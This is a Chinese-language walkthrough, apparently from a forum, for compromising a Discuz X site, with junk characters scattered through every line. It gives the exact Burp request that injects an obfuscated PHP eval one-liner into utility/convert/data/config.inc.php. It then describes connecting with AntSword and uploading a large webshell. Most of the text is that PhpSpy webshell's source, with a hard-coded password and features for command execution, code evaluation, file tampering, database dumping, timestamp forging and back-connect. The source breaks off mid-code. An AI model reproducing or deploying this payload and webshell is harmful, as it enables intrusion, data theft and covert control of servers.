|
攻击思路: P* Q! f# W" A9 R7 ~. |3 Q
想要拿下一台主机A的权限:
5 |9 b8 n8 B* s- i5 k# h: ]1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
2 V5 \9 I2 [9 \: V2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
; I" `6 J; K/ W# j) O+ Q& h9 H4 C3、传上去后,得到apache用户普通权限,再提权成root |# _" v& u- O
概述:
1 J2 z7 `! M6 W. E3 R这突破在一个DZ X系列自带的转换工具里面。
G9 a. {+ z) K% e漏洞路径:utility / convert / data / config.inc.php' w+ C3 H- |% p b' a8 k$ R2 T
漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
* m6 O, R0 \& q1 d. p触发突破过程:
% e7 X9 ]4 T. q! \/ R1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php
9 E' q0 g3 r1 H2 u" P2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序* p( S X$ {' A6 b
攻击过程:
|6 C1 C1 r- C1 `% d: s z1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/# Y, H ~% a$ m5 n4 [. k

6 O( J+ F0 y4 x% C7 ? - V1 `5 M) S# R8 t* G0 S
2,右键单击空白处,选择发送到中继器,将报文发到中继器 
3、然后在中继器中查看信息: 
4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes这是一个经过加密的一句话木马解密后内容如下: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa eval("$_POST[c];"););eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行 
5、修改完成后发送数据包 
6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php 代码详细: 
可以看到和我们修改提交的参数类似。而且多了很多^ M符号。 扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n 7、祭出祖传的中国蚁剑连接刚才上传的一句话木马2 H3 f, D+ z1 k9 T% J
( y1 m- E1 U$ B) `
8、通过中国蚁剑上传大码- _$ S, |+ X( G8 E: w

: V% m4 N8 \( k4 C; b3 G) F6 m
" W/ ?3 l/ T9 P! C10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd webshell代码如下: - <?php; @/ C) S( y( D! s, H$ Y K2 [- b2 b
-
3 u9 H% k9 L! X6 `' R- l6 P - /*****************************************************************************7 M) [1 e% S3 [) k
- . I# [4 c' P3 U, j8 S
- ===================== 请误用于非法用途,造成一切后果与本人无关。====================
+ M1 c4 O9 n( Q1 R9 `1 @ - * r8 Y% ~: P$ T. @. J) Z- [
- ====( c8 G, g7 e |' j0 [
-
5 w+ r) s% g! O( C -
8 a2 g+ O) w: }% u4 U; f - *****************************************************************************/
! H- \0 x8 @# ~ - ! s2 V7 r* o7 f: z3 ]
- error_reporting(7);3 M* ~) `4 I* E9 ]. H( ~
- @set_magic_quotes_runtime(0);3 n, N- e6 m2 ~: R7 l" T- R
- ob_start();
E% x0 o R: p7 ?& f. r - $mtime = explode(' ', microtime());
* y4 }+ u% d8 k$ ^ - $starttime = $mtime[1] + $mtime[0];
$ q- ?. }" |* C$ W - define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/'); r- Q/ A6 D" Y: n2 ~6 O
- //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
$ J3 F1 N! J- T% \' }; v - define('IS_WIN', DIRECTORY_SEPARATOR == '\\');- r3 P. G4 {8 _
- define('IS_COM', class_exists('COM') ? 1 : 0 );( I/ c) T. F! ^8 s
- define('IS_GPC', get_magic_quotes_gpc());4 ?9 U; W1 S) ^: ?+ k
- $dis_func = get_cfg_var('disable_functions');
- u( y; j9 B) ^4 ], W8 f5 r& i' E; i0 ? - define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );3 _* E+ l) G0 ]' O; u/ c' _
- @set_time_limit(0);* M1 M* l9 w8 J2 h7 M
- - G2 h! g# @. i- o$ M' [, Y
- foreach(array('_GET','_POST') as $_request) {
* b1 \. U @$ Q4 Y1 A; Z; O - foreach($$_request as $_key => $_value) {
8 O. o0 j9 K% P - if ($_key{0} != '_') {( T: W3 |" d7 O4 ^
- if (IS_GPC) {7 k; |; q3 V3 q4 X& O9 g
- $_value = s_array($_value);" _8 ~9 p- ?/ P# f
- }
& r5 d! C6 P. u8 F r - $$_key = $_value;0 r0 }# Z4 X0 I- @/ a+ H
- }
8 x ~$ V! n( r9 a3 k$ j4 e - }
+ v9 b$ h6 n U0 j' K - }
0 }% p) }, b# a -
$ D" [" H; g- s - /*===================== 程序配置 =====================*/
. l- F& I* e3 H# i - $admin = array();
/ o# T2 `+ a4 I1 X. o5 M+ v V - // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
5 P" C' Z, h1 a9 R" I& D - $admin['check'] = true;& k; B& k$ P& K
- // 如果需要密码验证,请修改登陆密码
3 s( q# p) K) j5 N* X - $admin['pass'] = 'xuegod';
8 e h0 v0 j, r4 Y4 ] -
7 _+ F( C5 n/ R- y - //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认: a: M" a/ B Q) v7 C
- // cookie 前缀
' `% c; x4 w- s" Y- S3 T/ s0 D5 q- O - $admin['cookiepre'] = '';
- I \! Y8 j8 v0 p M - // cookie 作用域( |# V' X8 [/ |" h
- $admin['cookiedomain'] = '';+ r$ C0 l0 j2 ]+ r! l
- // cookie 作用路径
1 R6 T' H4 D$ o- L Z7 A b( e5 A# M - $admin['cookiepath'] = '/';
W+ u: s/ L( ?4 S+ J - // cookie 有效期
0 u) U) o. ?3 r! `! C& }9 W - $admin['cookielife'] = 86400;
, B+ G* s1 t) M; U# c3 B8 n' J - /*===================== 配置结束 =====================*/8 t3 U* x8 [- [: R K' P
- 9 h: t4 }# M3 @- a& {
- if ($charset == 'utf8') {& n) u. a: k+ s" a% c3 r3 A: u' B, R
- header("content-Type: text/html; charset=utf-8");, S$ p8 _* W2 G; b
- } elseif ($charset == 'big5') {0 V; L/ v' [ P: @4 W' _
- header("content-Type: text/html; charset=big5");
3 @5 u8 [' ?! h' A- E - } elseif ($charset == 'gbk') {; X" D; n2 z4 f3 v& r3 X p" p
- header("content-Type: text/html; charset=gbk");9 Q* h, z9 m& [9 b4 N, G
- } elseif ($charset == 'latin1') {
, v! ^3 `; ^+ x- y* k! U* ]! E [ - header("content-Type: text/html; charset=iso-8859-2");
, N6 x" P9 r4 a& O - }5 h" B4 J% m: A8 a$ l
- 6 w( P: B4 i2 L9 F( b2 K* _
- $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];- z. K& k& x3 k
- $timestamp = time();: H+ |* x" F6 v+ w* i2 E
-
/ s5 P! h5 ?5 t6 p8 ?$ L - /*===================== 身份验证 =====================*/
" ]9 h8 c6 ^' T/ ^ - if ($action == "logout") {
4 ^" e& y( Y. n+ P: a - scookie('phpspypass', '', -86400 * 365);
) ?) Z, A) ]6 w" t& P3 s% Y3 d - p('<meta http-equiv="refresh" content="1;URL='.$self.'">');( Q3 j9 l( D2 u6 W7 W6 G0 e
- p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
$ c% _- F& ~8 ] - exit;6 O+ D5 O% i) U( z2 P1 Y1 t$ j
- }' p9 N/ R% |4 z0 F/ S
- if($admin['check']) {
3 \1 g( m4 f8 ~ - if ($doing == 'login') {" L' F. A6 @5 ]
- if ($admin['pass'] == $password) {
/ R" a9 B* d3 A" ?! l2 {) e - scookie('phpspypass', $password);
/ \& n3 A5 x, v" u - p('<meta http-equiv="refresh" content="1;URL='.$self.'">');5 I6 b, h. {, Y5 x
- p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');2 I& B$ M& J; U8 n
- exit;8 j7 v+ k( X; k' Z( C$ q
- }9 c3 ?! u+ L+ B% Q
- }
$ Q$ o: i, J' J - if ($_COOKIE['phpspypass']) {
- A; c- w+ t, T5 H- o* ]8 J; }% I - if ($_COOKIE['phpspypass'] != $admin['pass']) {
# k, ~. Y, j* U% i8 l - loginpage();1 ^4 g$ j" K# F2 X/ h
- }. f: ~; W' h5 s) D
- } else {7 N H6 b( Z( O# a
- loginpage();
& ~( |6 r, Y d) u+ i( l5 _ - }+ X# c4 w7 ?& G; Y0 T! O$ |' G S
- }
% J! ^* u$ q. G+ D; [ - /*===================== 验证结束 =====================*/
; I4 G2 R' t" r; J; a. b -
' w% {0 f8 @& _, A2 ` - $errmsg = '';
5 {2 ?8 O2 ^) X - 6 ?# C. p9 R5 K5 ~" Z: I
- // 查看PHPINFO" ~* p# ]+ l3 G" }( o2 ~% A0 j, n
- if ($action == 'phpinfo') {: G* ]! ~; p$ v2 X+ ]. U" F
- if (IS_PHPINFO) {. P2 I6 `8 P3 L6 a
- phpinfo();
6 r) I0 ]8 J# F" h0 Q7 G - } else {* n1 F8 |1 [& Q* n# F
- $errmsg = 'phpinfo() function has non-permissible';$ x* k2 B; K2 o: E. p/ S& B
- }
1 N* j. ^' ~" O3 A' a - }
+ l5 `3 X* [. X- c# s& D( p - ; _( |- g. q' D5 U8 H# f
- // 下载文件& V& M q5 t. |" O
- if ($doing == 'downfile' && $thefile) {/ [1 H* R1 U" F! c' S3 R+ O
- if (!@file_exists($thefile)) {
8 S6 I" X! \5 W8 t5 j! ?- h - $errmsg = 'The file you want Downloadable was nonexistent';
$ {7 |; A2 w9 \* | - } else {( U; y+ ]9 j1 J/ i2 M' Y+ b
- $fileinfo = pathinfo($thefile);
' X) r9 G1 q' ` - header('Content-type: application/x-'.$fileinfo['extension']);
3 C7 o. x2 d- A% P3 ]3 U; G. ~ - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
/ z& U: u) U$ M, z0 N - header('Content-Length: '.filesize($thefile));
! n" h _# y4 F8 \# F$ r - @readfile($thefile);. y% q/ n# S; z- M* X1 y( S* f
- exit;
- d! \8 b# P7 m) c; H ]' ^' K - }
3 n: J0 x6 r' h. _5 J - }
% l( [# p+ a5 A+ b% o - + h- o( J2 ?: }/ E2 p
- // 直接下载备份数据库
9 ?8 i4 u v) V! v/ g. q8 j - if ($doing == 'backupmysql' && !$saveasfile) { S5 n6 M7 `$ n5 ?1 Y( a
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
2 B! g9 M& ?; p. R0 r - $table = array_flip($table);
6 w/ h3 M+ T; b- g3 } - $result = q("SHOW tables");
; e0 @ L l( U! D% f" Z7 V' R - if (!$result) p('<h2>'.mysql_error().'</h2>');; E* l+ p: C* k9 K) H
- $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');; F" e7 Y/ R! m P5 R$ L
- header('Content-type: application/unknown');
+ _' M, H1 R4 z8 Q - header('Content-Disposition: attachment; filename='.$filename);
5 _% {% E i# b5 t7 P: m7 I7 W - $mysqldata = '';6 v. ^$ _( D6 x' d$ n
- while ($currow = mysql_fetch_array($result)) {
3 V7 n/ ?/ F ^$ }5 ^8 N - if (isset($table[$currow[0]])) {
% ?' y! F3 [( ]5 t( m4 _ - $mysqldata .= sqldumptable($currow[0]);
5 c( I* p4 B6 t3 K$ C - }
; d @$ u. ^5 s4 Y - }
- i6 e/ Z3 i; Z: k0 ~1 } - mysql_close();* q% i: }8 W4 B# ]- V E2 K
- exit;
6 O! ?% S" \$ a; q. q9 T& v+ L0 L4 _ - }
) n# v. Q9 ~ U: y/ D; r0 H - . l7 p1 n; @. C8 _$ `8 W( D- e
- // 通过MYSQL下载文件9 _( v" z2 B( ^+ t; i. Y4 F0 E
- if($doing=='mysqldown'){
M/ X' P8 r( | Q0 I- B! r - if (!$dbname) {
5 a; R1 g' g' z - $errmsg = 'Please input dbname';+ F/ j$ {: ]1 W) S4 v/ l
- } else {, R# U# \7 a* k# ~. k
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);# b9 m9 t: S# M
- if (!file_exists($mysqldlfile)) {
- u# I* n; a7 Q% A9 W# M1 @9 @ - $errmsg = 'The file you want Downloadable was nonexistent';
: N6 F( h. @+ R. T' y - } else {
( M# ?7 n# z0 @/ \ - $result = q("select load_file('$mysqldlfile');");
2 F4 b% W: a& B - if(!$result){7 p* z. F! L; X" V
- q("DROP TABLE IF EXISTS tmp_angel;");: G W6 ] M9 X
- q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");3 [$ n. Z4 Y0 x& |
- //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况( ]* p1 `8 Y3 Q
- q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
' E* X$ @3 s) a: E: S2 g - $result = q("select content from tmp_angel");9 [0 ~# h0 g* y$ T: e
- q("DROP TABLE tmp_angel");, v* I# s! {4 U9 A
- }' I6 R* Y; W% K, n- c
- $row = @mysql_fetch_array($result);0 E- F1 w' I* l% p1 O
- if (!$row) {7 q1 H' Z+ a6 }4 G: O0 Z4 q8 P
- $errmsg = 'Load file failed '.mysql_error();2 B3 N5 O1 `& I2 {
- } else {
! o- R* d3 f" A - $fileinfo = pathinfo($mysqldlfile);
" }. k( O: U, K3 J; z% G6 D( \" | - header('Content-type: application/x-'.$fileinfo['extension']);2 q$ F' b9 X8 q
- header('Content-Disposition: attachment; filename='.$fileinfo['basename']);' B" C6 m( b% |
- header("Accept-Length: ".strlen($row[0]));8 q! u! \% c, }% N9 ^- o
- echo $row[0];
/ Y* G2 c* [- K( v( ]! R( l* N - exit;
/ b* f) `3 V/ X - }' ]3 {! z) S+ [2 P) S
- }
; q4 c: e* h0 v8 @* Y) | - }
( X7 _( P8 B# { - }0 T2 n3 v; K5 O# F/ l, X8 x
-
* [% u0 G5 A C6 s* ^ - ?>
' Y( I' p/ y, a' n4 c* x/ O - <html>
c' ?. f& A' Z0 O - <head>% L$ N( T* i: E) v* I
- <meta http-equiv="Content-Type" content="text/html; charset=gbk">9 R- A- s, {1 `) r
- <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
% s% v, ~2 ^% G6 d - <style type="text/css">, A. |: ~4 }; w3 Q/ F
- body,td{font: 12px Arial,Tahoma;line-height: 16px;}
6 o# O6 S- v2 b; F& k$ h- a - .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;} B& l' @8 [' q
- .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
a5 P4 F0 F- d/ m# l4 x& l - .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
4 a* ^7 b$ _. l+ u% k - a {color: #00f;text-decoration:underline;}
$ ~0 F7 M9 g2 Q7 p: n1 u% x - a:hover{color: #f00;text-decoration:none;}! g# ~7 t" A/ l* j2 W y# Q5 g
- .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
7 F' N5 w& Z7 i& {7 K) C - .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
) M$ z2 |" [: J) C( ~ - .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
, J' c" U$ M4 _ - .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}/ Z( T9 D' C% M3 y" G. E/ j# @
- .head td span{font-weight:normal;}
, j. i8 Z0 W; ^; ]# k - form{margin:0;padding:0;}
# l& i" }+ _ m& y0 R; }7 P - h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}2 B9 b% K1 ^2 \# h. r' s9 _. E- T
- ul.info li{margin:0;color:#444;line-height:24px;height:24px;}" O; n4 r9 k: ~4 y8 a
- u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}, d$ V$ T3 `6 ~: e
- </style>' O/ W- [2 Z/ u
- <script type="text/javascript">7 Y, m8 ^8 O' E7 \( E
- function CheckAll(form) {
& h% H+ C' a6 |0 r; h - for(var i=0;i<form.elements.length;i++) {. I2 e' @" b" D
- var e = form.elements[i];2 `- a, E% K- e7 W% z" J
- if (e.name != 'chkall'), N, `9 S8 k" @- M/ F0 D3 `0 Q
- e.checked = form.chkall.checked;$ U: i9 S4 A* U1 l" J! r4 i
- }) P3 x7 ^3 J( H6 S8 E6 Q% S4 c
- }
E# m, O$ b1 i* c& M0 A5 Q- R - function $(id) {/ c# _& Z- G! x4 ^) [; x% U- T% i
- return document.getElementById(id);: R: m0 S2 X. [* p% s' a
- }! D1 T+ ~1 y7 L# E* S( X3 F4 q/ ^
- function goaction(act){* f) q7 c; [1 _* h
- $('goaction').action.value=act;
F: @' f, A1 j7 M6 K! I - $('goaction').submit();
2 J8 p2 H: g; ]- S( } - }
; z- L; l8 O) j& S- q+ ~& K - </script>
$ I0 O% X4 v2 W9 o- N - </head>: a# Y+ K* b" Y2 ~% G+ M- P2 V
- <body style="margin:0;table-layout:fixed; word-break:break-all">
- @! v7 ?% X0 M' b7 S- v - <table width="100%" border="0" cellpadding="0" cellspacing="0">3 G( b4 K& |! F" o! s
- <tr class="head">& d/ r8 l% g. m- {
- <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>" A7 U$ O$ P& N7 \5 J, P6 V( Q
- </tr>
9 p( x3 I3 D1 ]6 m - <tr class="alt1">
* Z; O" e( g) }& u: V - <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>$ ?7 U1 b! @7 t/ z- ^; z" i
- <a href="javascript:goaction('logout');">Logout</a> |
$ i5 z8 t0 }" h2 H& M/ A1 P - <a href="javascript:goaction('file');">File Manager</a> | % M7 U( D- D9 z9 h- j5 _2 `1 z, s6 g
- <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
0 i9 a* B1 b' Y+ v+ Z$ O! n - <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
; R: Q- e7 [9 v* k! {9 p8 V - <a href="javascript:goaction('shell');">Execute Command</a> |
9 I; N \9 L9 R2 E9 C2 I6 I - <a href="javascript:goaction('phpenv');">PHP Variable</a> |
: v6 ~, x( j1 L0 ] - <a href="javascript:goaction('eval');">Eval PHP Code</a>
* a$ J- ~% c2 P - <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>- n `8 o/ @/ U. `
- </td>, E- G9 M' ?7 P, i( [" U
- </tr>
- e$ D* P/ Z1 Q y - </table>+ ?6 v# _% F& V* D1 R
- <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>( B4 Z* [7 s/ x! r2 F. t
- <?php
0 c' B5 q( w( e. {( ]* C -
5 ^+ r0 |6 z Y5 U9 l - formhead(array('name'=>'goaction'));
& v0 f7 }; {. q$ o4 X7 U - makehide('action');
/ L' E/ ]5 q/ r# s- ]+ d V - formfoot();
7 X/ X: o7 \5 Q- g% ~6 C( [" ^ - 0 p7 \6 H! z. m
- $errmsg && m($errmsg);( C" @. Y D- p) q
- 7 h9 e; I! m% ^' T6 S9 r/ C
- // 获取当前路径$ z, U- f" K4 P) [( M
- !$dir && $dir = '.';
5 r* Z7 F* p0 F. i) I - $nowpath = getPath(SA_ROOT, $dir);
+ L9 e- s% f, k2 _# t - if (substr($dir, -1) != '/') {5 I6 I6 ^0 r0 A# v! _
- $dir = $dir.'/'; m1 R; f, r7 ^$ k8 E& H! S/ ?
- }
0 W F, W% f0 o t& Y - $uedir = ue($dir);8 R7 C" K% X$ [8 Y A6 r
- 3 V1 a6 ^+ h" g& ?
- if (!$action || $action == 'file') {4 X3 g. M7 D. ? {3 w
-
8 h7 K! T0 C8 P5 t( I1 o/ ? - // 判断读写情况9 v- U; P; l5 b1 i* N& `
- $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
& |! Q+ K& B2 }6 J8 m -
5 Y$ U% }- f# g5 z& T3 E1 C" }: ~7 v, t$ H - // 删除目录$ w* C* V) i. s4 j( W
- if ($doing == 'deldir' && $thefile) {
) ^7 o! V4 A+ L0 D+ l - if (!file_exists($thefile)) {
* r+ _! W; f: h: b* `& D( ^) g - m($thefile.' directory does not exist');
% |6 h9 k3 {2 ?5 |+ P) m - } else {
& [+ @5 o% p5 T6 T& ^; @8 K - m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
( D4 o6 d2 V3 W7 _) b - }8 j9 } ~1 r; f5 @5 h6 a, d
- }* Q0 x( y" i1 w, d
- : |8 X; d* y% a( x2 n
- // 创建目录
0 K8 Q4 A& u. G( T6 t - elseif ($newdirname) {
8 F1 b. p4 j4 D6 R& c8 ]' J$ C1 R - $mkdirs = $nowpath.$newdirname;4 A7 x7 A. Q2 m! e. M4 K
- if (file_exists($mkdirs)) {: c5 C8 b9 x) {6 p Q
- m('Directory has already existed');
5 j' P6 N( T0 ^8 P - } else {+ X6 i# H1 j0 R: G' o c& {, m
- m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
) d! S$ R, e7 u4 F0 N2 c - @chmod($mkdirs,0777);
7 D) g* ] V& T* p% }. W8 ^& g) ~ - }" S$ C5 K8 X4 z0 ]+ G" ^
- }
" w. J0 o& ~( b: n# Y [4 g - 5 ]5 Y( K7 k1 j8 r, F9 ?. X5 P$ x
- // 上传文件
8 u6 w9 N1 p9 x! B$ r5 P3 _, x - elseif ($doupfile) {) ~5 O1 }! D( P1 e- M
- m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
0 X+ b! n& z% M( u - }
1 ]( ?; e5 d6 N* }& _2 \8 ^+ q - # `% A# a" k l* r0 _
- // 编辑文件' K* S2 \" S8 [* p, k# g3 o
- elseif ($editfilename && $filecontent) {* @+ J+ J* a0 z# V1 b
- $fp = @fopen($editfilename,'w');! z: @. v8 ?% J) w! O! \
- m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));- z- ^2 v, |5 `( I% Z# B" @4 i
- @fclose($fp);
6 I$ }3 _# u$ g" J" I' j0 y! u; m - }* ^6 K1 m+ B1 T( |
- ) `0 v3 ` l0 g$ m* A
- // 编辑文件属性; w1 e; ]+ y$ I/ `
- elseif ($pfile && $newperm) {5 h8 U% b: Q2 m( h% S1 j2 _7 U
- if (!file_exists($pfile)) {
& n+ q2 y+ B3 l- B - m('The original file does not exist'); v' V$ ~- U( A
- } else {
: m( w: F$ K& m! s; H" i+ C - $newperm = base_convert($newperm,8,10);) {- o' ~- X: J8 I+ ^* @
- m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));3 `) o% X f6 g9 k( J9 q& \. r
- }
; ?+ Q/ {+ c# z6 Y9 z2 w/ t/ T - }
( A& q# L& E9 R' [4 @) X - 1 g2 c: M. N# B5 L
- // 改名
. {3 H4 L( g. w4 F8 A2 F s - elseif ($oldname && $newfilename) {
+ y0 N4 R. s' K) w( W1 m2 }& o - $nname = $nowpath.$newfilename;7 r7 @* p7 h. f$ [: C5 x
- if (file_exists($nname) || !file_exists($oldname)) {
1 o2 g/ k$ `6 _$ I- ]6 t( [ - m($nname.' has already existed or original file does not exist');( }% I; ^! x$ F! t( m$ p
- } else {
) ` | Z8 ?3 {. q - m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
. v8 { x3 _# L% _+ b. i* A - }
" L7 d* I5 b' w; L% F* B* A% c - }
6 n4 S, Z x5 d* L# g& T" q0 E/ z - ! J5 u0 G0 T5 H* y, g
- // 复制文件
1 B" k& P: W) X# |3 U& Z- O - elseif ($sname && $tofile) {
7 ^+ @, z: a7 t9 l) ]+ s - if (file_exists($tofile) || !file_exists($sname)) {" P9 A$ y6 T0 N+ c
- m('The goal file has already existed or original file does not exist');% z1 g# W, Y& I W% O
- } else {3 `" n% z3 {! I* {8 `9 V
- m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
0 S7 P& e" b* G2 \ - }
& x& v) H7 k7 D/ S1 X7 w - }7 N# P- R0 }/ C: I. A9 X
- ; M9 z* c* t4 Z4 {" }' f% V
- // 克隆时间2 z& R6 T- y" {0 h* \% z4 a: S* w; B' s% \
- elseif ($curfile && $tarfile) {$ J! h7 ^* \- T3 Z. Z! i
- if (!@file_exists($curfile) || !@file_exists($tarfile)) {' N. n; `3 l) K; @1 o2 {
- m('The goal file has already existed or original file does not exist');
7 M) d: y G7 h- b& M - } else {
1 i5 S4 w% R/ V* M+ t$ {2 W - $time = @filemtime($tarfile);
& E- a( h0 O* I$ B9 n - m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));1 B9 b# l! H2 f( ^ U2 I
- }# T1 s* `* ?+ Q0 O( G: B( H
- }
+ C& r+ q% Z7 l1 l" F - 9 G) y( I- G9 C1 J! _) x: f
- // 自定义时间
+ r+ S1 d$ ?/ D/ d; z - elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
7 L& a! q* B9 |* w* C, {1 D( P - if (!@file_exists($curfile)) {
& U2 q5 F; h; S- u - m(basename($curfile).' does not exist');
9 ?$ I* A1 h. E, K: x - } else {; m; o0 c3 g! ~: J7 I3 L/ n
- $time = strtotime("$year-$month-$day $hour:$minute:$second");) }# a5 f: [6 ~3 n M8 C) S
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));5 v1 L/ Y3 }8 l, O# C
- }" Y0 j/ F! h( }% ]% k3 t! g
- } J8 p2 Z9 b, P* N3 C+ ~# b
- ; F9 B0 T! P* q9 j3 _# B
- // 打包下载
6 i( N8 U- B+ H) A - elseif($doing == 'downrar') {
8 K3 s% U' h6 z# r$ g7 \3 p, A2 \ - if ($dl) {4 _5 X$ O* E% k4 G: _/ C
- $dfiles='';
# m5 Z0 V! V5 G - foreach ($dl as $filepath => $value) {
) ^4 ]) o: U. Z; X! N - $dfiles.=$filepath.',';$ A7 @$ K5 h8 T- _) Z* i
- }6 \2 `% |" h0 c0 l" N
- $dfiles=substr($dfiles,0,strlen($dfiles)-1);
+ j$ V- d% B* E* a7 m" z - $dl=explode(',',$dfiles);
7 b( i2 L, U6 b+ ^3 l - $zip=new PHPZip($dl);' C" c+ k, i% H! p0 c
- $code=$zip->out;
( c1 J3 d5 b+ W! [' ~: U) x0 a - header('Content-type: application/octet-stream');" `5 V. ]3 z* @
- header('Accept-Ranges: bytes');( i# T' [) |, @. G0 r& p. d8 x/ R0 x
- header('Accept-Length: '.strlen($code));
6 V9 K. f8 t, U+ p% N8 D- ?0 t - header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');+ T- e% Q3 _. L0 ?* j
- echo $code;
* n" n7 E! d2 D3 f, c/ J: H - exit;! Z' R: F$ R5 J# b. |2 l, M
- } else {- I4 ?( A) u! F9 t+ T
- m('Please select file(s)');, y2 @- ]! P1 q z$ [8 Z, ^) e( Y
- }
R/ K: N( O+ U0 I - }- a$ S4 @, w/ O+ Q
-
/ `2 m* s3 J: r' P' _ - // 批量删除文件
+ _8 n) j1 y! g7 c1 W- F0 j - elseif($doing == 'delfiles') { c) l5 _. h: F* s4 }+ }
- if ($dl) {
3 J" Y" g, C, J9 s/ N - $dfiles='';
* J- z/ D& M# T8 z - $succ = $fail = 0;6 e; [3 k; x0 ?3 j4 l
- foreach ($dl as $filepath => $value) {# ]( V! P# S6 U8 b: a5 Z( M7 ~
- if (@unlink($filepath)) {9 u# P" D3 Q) R3 Z
- $succ++;% Y+ u+ Z! j9 |8 _9 B- X. T7 \
- } else {
* D- G2 q9 ]+ Y) y - $fail++;( N; S1 g$ y- P7 F( K7 J: ~
- }; c- H' C% Y7 D/ M6 F# n0 q
- }
, i/ p3 i% @# \" J5 w; k0 y - m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);5 _1 p2 ^1 ]* o, h
- } else {
& Q! Q9 |" _% X - m('Please select file(s)');! y( ], C, h* d- T4 n" K, |
- }( Q/ ^+ t; B% N9 i/ k! _% X q
- }
6 z9 b: ^$ a/ i - $ B: w) W8 V5 _4 W
- //操作完毕' q$ W0 l; X. V9 ?& S( ]
- formhead(array('name'=>'createdir'));
7 f2 V) r' |* S4 t5 p - makehide('newdirname');0 s" a- a7 _ B4 N8 `$ H
- makehide('dir',$nowpath);# k4 Q+ ?2 \4 W& G, |
- formfoot();8 Y! f$ g. U' i- j
- formhead(array('name'=>'fileperm'));
